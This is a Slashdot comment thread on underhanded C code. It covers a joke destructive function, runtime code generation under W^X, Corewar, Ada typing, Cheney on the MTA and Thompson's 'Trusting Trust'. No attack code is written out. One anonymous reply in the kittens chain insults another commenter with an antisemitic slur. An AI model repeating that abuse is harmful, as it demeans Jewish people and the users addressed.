    Slashdot requires you to wait longer between hitting 'reply' and submitting a comment.
    1. Re:cute fluffy kittens! by Spaceman+Spiff+II · · Score: 1

      Redundant? lol, well I thought it was funny...

      --
      I understand that life's not fair, just why is it never unfair in my favor?
    2. Re:cute fluffy kittens! by grahamlee · · Score: 4, Funny

      Which is worse, the incorrect UID or the incorrect function prototype?

    3. Re:cute fluffy kittens! by planetoid · · Score: 1

      The UID was messed up, yeah, but the fact that it never returned any value for a function that was non-void was part of the joke.

      --
      Slashdot requires you to wait longer between hitting 'reply' and submitting a comment.
    4. Re:cute fluffy kittens! by Phleg · · Score: 1

      That's what makes it innocent-looking :)

      --
      No comment.
    5. Re:cute fluffy kittens! by Anonymous Coward · · Score: 0

      Wow, now that you explained it, it really *is* funny! A function that doesn't return properly! Ha ha! You should go on Letterman with that.

    6. Re:cute fluffy kittens! by Anonymous Coward · · Score: 0

      why should it return properly when the system isn't even going to exist afterwards? damn you're a fucking stupid jew.

  15. Runtime code generation by pkhuong · · Score: 4, Informative

    The CLR does JIT (or, at least, runtime) compilation. A common way to do so is to output the machine code on the stack. W^X usually breaks programs that do runtime code generation. Now, this is a WAG, but that's where my money's at.

    --
    Try Corewar @ www.koth.org - rec.games.corewar
    1. Re:Runtime code generation by Krach42 · · Score: 1

      That's just poor design by the CLR JITC team. You can write a JITC that does not break BOP and other such stuff.

      But the CLR team would have to have gotten lazy, and not marked things as executable, and started exploiting other such things, just to save a few cycles.

      There's no reason why BOP should break the CLR.

      --

      I am unamerican, and proud of it!
    2. Re:Runtime code generation by nothings · · Score: 3, Insightful

      Who in the world generates code to the stack? Compiling code is expensive, so you want to cache it, that is, keep it around for a while, which means putting it on the heap.

    3. Re:Runtime code generation by Anonymous Coward · · Score: 0

      Just wait until CLR runs MC, you'll see just how broken the BoP system is.

    4. Re:Runtime code generation by ultranova · · Score: 2, Informative

      Who in the world generates code to the stack? Compiling code is expensive, so you want to cache it, that is, keep it around for a while, which means putting it on the heap.

      Well, you could make the compile function recursive. That is, compile a single method, then run it, and if it calls (at runtime) any other methods that haven't been compiled yet, call the compile function iteratively, passing a pointer to the point in stack where the code was executing.

      So how do you figure out which methods are compiled and where they are located ? Simple - you implement a linked list entirely on stack. Simply have another function, which allocates a single element in the stack, links it to the previous one, and then calls the compiler function, giving it a pointer to tell where it left (passed by the compiler function to the datastore function). Of course, you'd also need to pass the pointer to the start of the list as a parameter to all of these functions...

      Anyway, the point is that it would be horrendously complicated, it would be horrendously inefficient, it would be extremely easy to break unintentionally, and it would make implementing security features difficult for the afromentioned reasons - but it would be possible. In other words, it's just the way Microsoft would do it ;).

      Real fun begins if you want to allocate all the objects generated by the runtime on stack too...

      --

      Forget magic. Any technology distinguishable from divine power is insufficiently advanced.

    5. Re:Runtime code generation by Krach42 · · Score: 1

      MC = Midnight Commander
      MC = Molten Core?

      I'm confused what MC is...

      --

      I am unamerican, and proud of it!
  16. Corewar veterans by lastfish · · Score: 4, Interesting

    Joonas & Paul are both Corewar veterans being respectively co-authors of Son of Vain (Joonas P & Ian Oversby) top of the all-time hall-of-fame and nPaper II (Paul V-K & John Metcalf) dominant paper of its time.

    Good practice for writing obscure, but useful, code.

    I'd give clickable links but fear for these sites under load.

    www.corewar.info/
    www.corewar.co.uk/94nophof.txt

  17. First Prize by mdecarle · · Score: 1

    Great. The first prize is "Belgian Style" beer ... from a brewery called "Ommegang".

    1. Re:First Prize by AvitarX · · Score: 1

      They make my favorite beer on the planet

      "Hennipen"

      Props to brewery Ommegang and anyone who gives there stuff out.

      --
      Wow, sent an e-mail as suggested when clicking on "use classic" banner, and got a fast response that addressed my msg
  18. OT, nPaper II's ownership by pkhuong · · Score: 3, Interesting

    John's a corewar god (all that 6502 assembly probably has something to do with that ;), so nPaper is nearly all his: the constant twiddling (by hand!), the QS, etc. All I did was basically write the framework for the paper; the only non-standard parts were the attack engine and the djn at the end of the timescape component... and I believe the djn was removed, because, even though it was more aggressive, it was effective than a checksum with a jmz. Read CoreWarrior #.. erh. I think it was it the high 70s or low 80s. John describes the process of optimising a newbie's paper (nPaper), all by hand (He might have used some BASIC scripting :).

    Even now that we have evolvers throwing tons of computing power at a relatively small search space (nano), John submitted something that rocketted to 1st place and manages more than 50% wins. Again, the dude is a corewar genius.

    Paul(-Virak) Khuong

    PS, note the position of the dash

    --
    Try Corewar @ www.koth.org - rec.games.corewar
    1. Re:OT, nPaper II's ownership by Anonymous Coward · · Score: 0

      PS, note the position of the dash

      Dully noted.

  19. Or use a very strongly-typed language by Anonymous Coward · · Score: 0

    For instance, let's say you have a type "widthInteger" which is an integer that can be only added to other widthIntegers, and an analogous heightInteger.

    widthInteger w = 10;
    heightInteger h = 20;

    area = w + h; // bug

    This would be a compile-time error.

    This is very similar to dimensional analysis: you can't add feet to kelvin for instance because the answer doesn't make sense.

    Are there are any mainstream languages like this, that don't do type coercion? Well, I guess it would be okay to cast plain integers to widthIntegers, because how else would you initialize the variable, but not the other way around.

    This would basically enforce Joel's conventions at the compiler level.

    1. Re:Or use a very strongly-typed language by kbielefe · · Score: 1
      Ada is one language that does what you want. It could look something like this:

      SUBTYPE widthInteger IS NATURAL; -- non-negative integer
      SUBTYPE heightInteger IS NATURAL RANGE 15 .. 25;

      w : widthInteger := 10;
      h : heightInteger := 20;
      x : CONSTANT Integer := 10;
      totalHeight : heightInteger;

      BEGIN

      totalHeight := w + h; -- Compile error
      totalHeight := heightInteger(x) + h; -- Compile error because x is not a valid heightInteger
      totalHeight := heightInteger(w) + h; -- Compiles fine, but will have runtime error due to out of range sum. Good optimizing compiler may even cause compile error.

      END;
      Constants are not assumed to be integers, so no casting is necessary. In the above program they would be checked to see if they are valid widthIntegers or heightIntegers at compile time, much like a C compiler checks if an initial value is a valid float, char, int, etc. At runtime, you cannot assign a variable of type Integer to a variable of type widthInteger without an explicit cast, which adds validity checking to the runtime code if necessary.

      You can spot a newbie Ada programmer because they use Integers for everything, but those style errors stick out like a sore thumb.

      --
      This space intentionally left blank.
  20. Ken Thompson... by Sam+Nitzberg · · Score: 4, Informative

    It's not exactly the same thing, but the most powerful and clever C code example with an 'underhanded' purpose must be Ken Thompson's classic...

    Reflections on Trusting Trust
    http://www.acm.org/classics/sep95/

    Other interesting papers that come to mind include Tom Duff's on Unix viruses, as well as McIlroy.

    Sam

    sam @ iamsam.com
    http: /www . iamsam . com

  21. Re:divide by 0 by ezzzD55J · · Score: 1
    .. and a compiler is more likely to catch this as an error or warning - in the process of optimizing it - than generate code for it.

    On second thought, nothing might happen, because i isn't used and so everything can be optimized away.

    On third thought, that would be wrong, because it should (if compiled) crash, because that's what the program says :).

  22. Cheney on the MTA by pkhuong · · Score: 1

    Cheney on the MTA by Henry Baker. Look it up. Basically, when you want tail-call optimisation (as in no stack depth limit, but not necessarily O(1) speed), but still want to use C, that's one of the best solution.

    One solution (used in RABBIT, or a derivative, I believe), is to output everything in a big switch, and have each function call target be a case in it. (What about returns, you ask? You just CPS (transform into continuation passing style) the code first, so that every return becomes a call to the rest of the continuation) Of course, that means you can't really use automatic variables for anything, and have to create your own argument passing conventions and hope the compiler gets it right. Additionally, the huge size of the switch statement for non-trivial code means most compilers will choke on the output at high optimisation levels. (There are partial fixes, like breaking up the switch, but no real solution)

    Another is to use a trampoline, where, again you CPS the code, and then, instead of calling functions, each function return a pointer to their continuation. The trampoline then call the continuation. Thus, each function call entails the cost of both a call and a return. To alleviate this problem, it is doable to only longjmp back to the trampoline when the stack is about to be exhausted, which I believe is what SML/NJ uses.

    Cheney on the MTA is similar to a trampoline+longjmp, except that it also allocates objects on the stack, treating it like a nursery in a generational GC. When the stack is about to be exhausted, you GC with copying GC scheme the stack first (treating it like any other part of the store, just by following the root pointers), and then longjmp back to the trampoline. This is where it gets the Cheney on the MTA name: Cheney is a copying GC scheme, and [Someone?] on the MTA is a song about some dude who never returns from the MTA, while our code never returns. So, we get tail-call "optimisation", and can save one pointer compared to the two other method, which must have a pointer to the allocation space, while Cheney on the MTA overloads the stack pointer with that task (it must still keep a pointer to the older generation(s), but that's fine, since it's not used that often and can thus be a global in memory, and isn't an extra cost compared to other generational GCs). Chicken Scheme uses that to compile (nearly?) full (with GMP for the numerical tower) R5RS Scheme to C. As to why this won't break on machines with register windows: whenever we take the address of something, that something _must_ be in memory, and stay there [observably]. I'm sure someone can quote the part of the C standard that says so.

    Note that VMs usually take code that is already CPSed (in that there is no implicit return, since they manage their own return stack), so converting a VM to Cheney on the MTA wouldn't be hard.

    As to how I would distinguish between already compiled functions and those that must be interpreted/compiled: add one layer of indirection (we agree for that), but not where you put it. Instead, each function "call" says to call the function at location x (which I'll call function cell). At x, we find a pointer to either IL or machine code (we could make the difference with tags, an additional word or simply by having different address ranges for IL and machine code. Using that, we can dispatch to either the compiler/interpreter or jump directly to the target. If we inline the dispatch, branch prediction should make it nearly free (we only compile a function once, and, once it's compiled, we usually keep that version for the rest of the program's lifetime, so the jump target doesn't change either). We just have to make the function cells part of the root set so that they can be moved whenever there's a GC (they'll simply be copied out of the nursery, and the pointers to them updated).

    So, no, it wouldn't be that surprising, and it would actually be a defendable choice, with regards to both performance and elegance.

    --
    Try Corewar @ www.koth.org - rec.games.corewar
    1. Re:Cheney on the MTA by conan776 · · Score: 1
      --
      "Reality is that which, when you stop believing in it, doesn't go away." -- Philip K. Dick
  23. Erratum by pkhuong · · Score: 1

    Scratch the stack part if you want. If the whole store is marked unexecutable by default, both methods will die if the CLR doesn't/can't mark the relevant pages as executable. Also, keep in mind that W^X emulation isn't available in vanilla Windows XP SP2, so if a third-party program somehow messes with the heap and stack to mitigate the effect of buffer overflows in the absence of NX, we can't really expect the CLR team to interface with that program to mark the relevant pages as executable (unless that program can hijack the relevant system calls), if it's even possible.

    --
    Try Corewar @ www.koth.org - rec.games.corewar
  24. So fingerprinting is evil now ... by DoktorTomoe · · Score: 1

    Seriously ... this was about creating code to fingerprint images. They are not creating Üb3r1337 w0rm 3xpl0i7z here.

    The "hiding the code"-part is relevant in open-source systems, and I can think of a ton of valid uses for this kind of "evil" technology. Hell, I'd be glad if some kind of function was avalible in GIMP.

  25. i fixed your cute fluffy kittens function by ACORN_USER · · Score: 1
    Got it to suid to 0 and called the function from my main method. I'm so clever. Give me a candy bard.

    Just compiled it and there we go.

    .. awww...

    ooo... urrr... shi .. no, not my
    pr0n...

    ####!!!###Kernel Panic

    1. Re:i fixed your cute fluffy kittens function by grahamlee · · Score: 1
      Give me a candy bard.

      How about Curly-Wurliam Shakspere?

  26. Re:divide by 0 by FLAGGR · · Score: 1

    int's are initilized to whatever is located in ram at the time (so in effect, its random) so it would just crash (although any compile would see the / 0 literally typed in and slap you in the face for it)